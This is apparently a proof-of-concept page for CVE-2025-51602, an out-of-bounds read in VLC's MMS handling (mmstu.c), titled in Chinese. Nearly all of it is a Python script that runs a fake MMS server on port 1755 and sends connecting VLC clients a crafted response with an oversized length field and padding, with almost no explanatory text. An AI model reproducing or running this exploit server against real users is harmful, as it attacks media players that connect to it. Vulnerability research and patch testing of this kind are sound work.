CVE-2025-51602: VideoLAN VLC mmstu.c越界读取漏洞

#!/usr/bin/env python3 # CVE-2025-51602 PoC - Malicious MMS Server Response Generator # This PoC generates a crafted MMS 0x01 response that triggers out-of-bounds read import socket import struct import sys def create_crafted_mms_response(): """Generate a malicious MMS 0x01 response with oversized fields""" # MMS header header = b'\x01\x00' # 0x01 response type # Protocol version header += struct.pack('<H', 0x0001) # Crafted response with oversized payload to trigger OOB read # The key is to set an incorrect length or offset field payload_size = 0xFFFF # Oversized value header += struct.pack('<I', payload_size) # Add padding to extend beyond expected buffer padding = b'\x41' * 1000 # 'A' padding response = header + padding return response def start_malicious_server(port=1755): """Start fake MMS server that sends crafted response""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(1) print(f"[*] Malicious MMS Server listening on port {port}") print("[*] Wait for VLC client connection...") while True: client, addr = server.accept() print(f"[+] Connection from {addr}") # Send crafted MMS response response = create_crafted_mms_response() client.send(response) print("[+] Sent crafted 0x01 response") client.close() if __name__ == "__main__": print("=== CVE-2025-51602 PoC ===") print("Target: VideoLAN VLC < 3.0.22") print("Vulnerability: Out-of-bounds read in mmstu.c") start_malicious_server()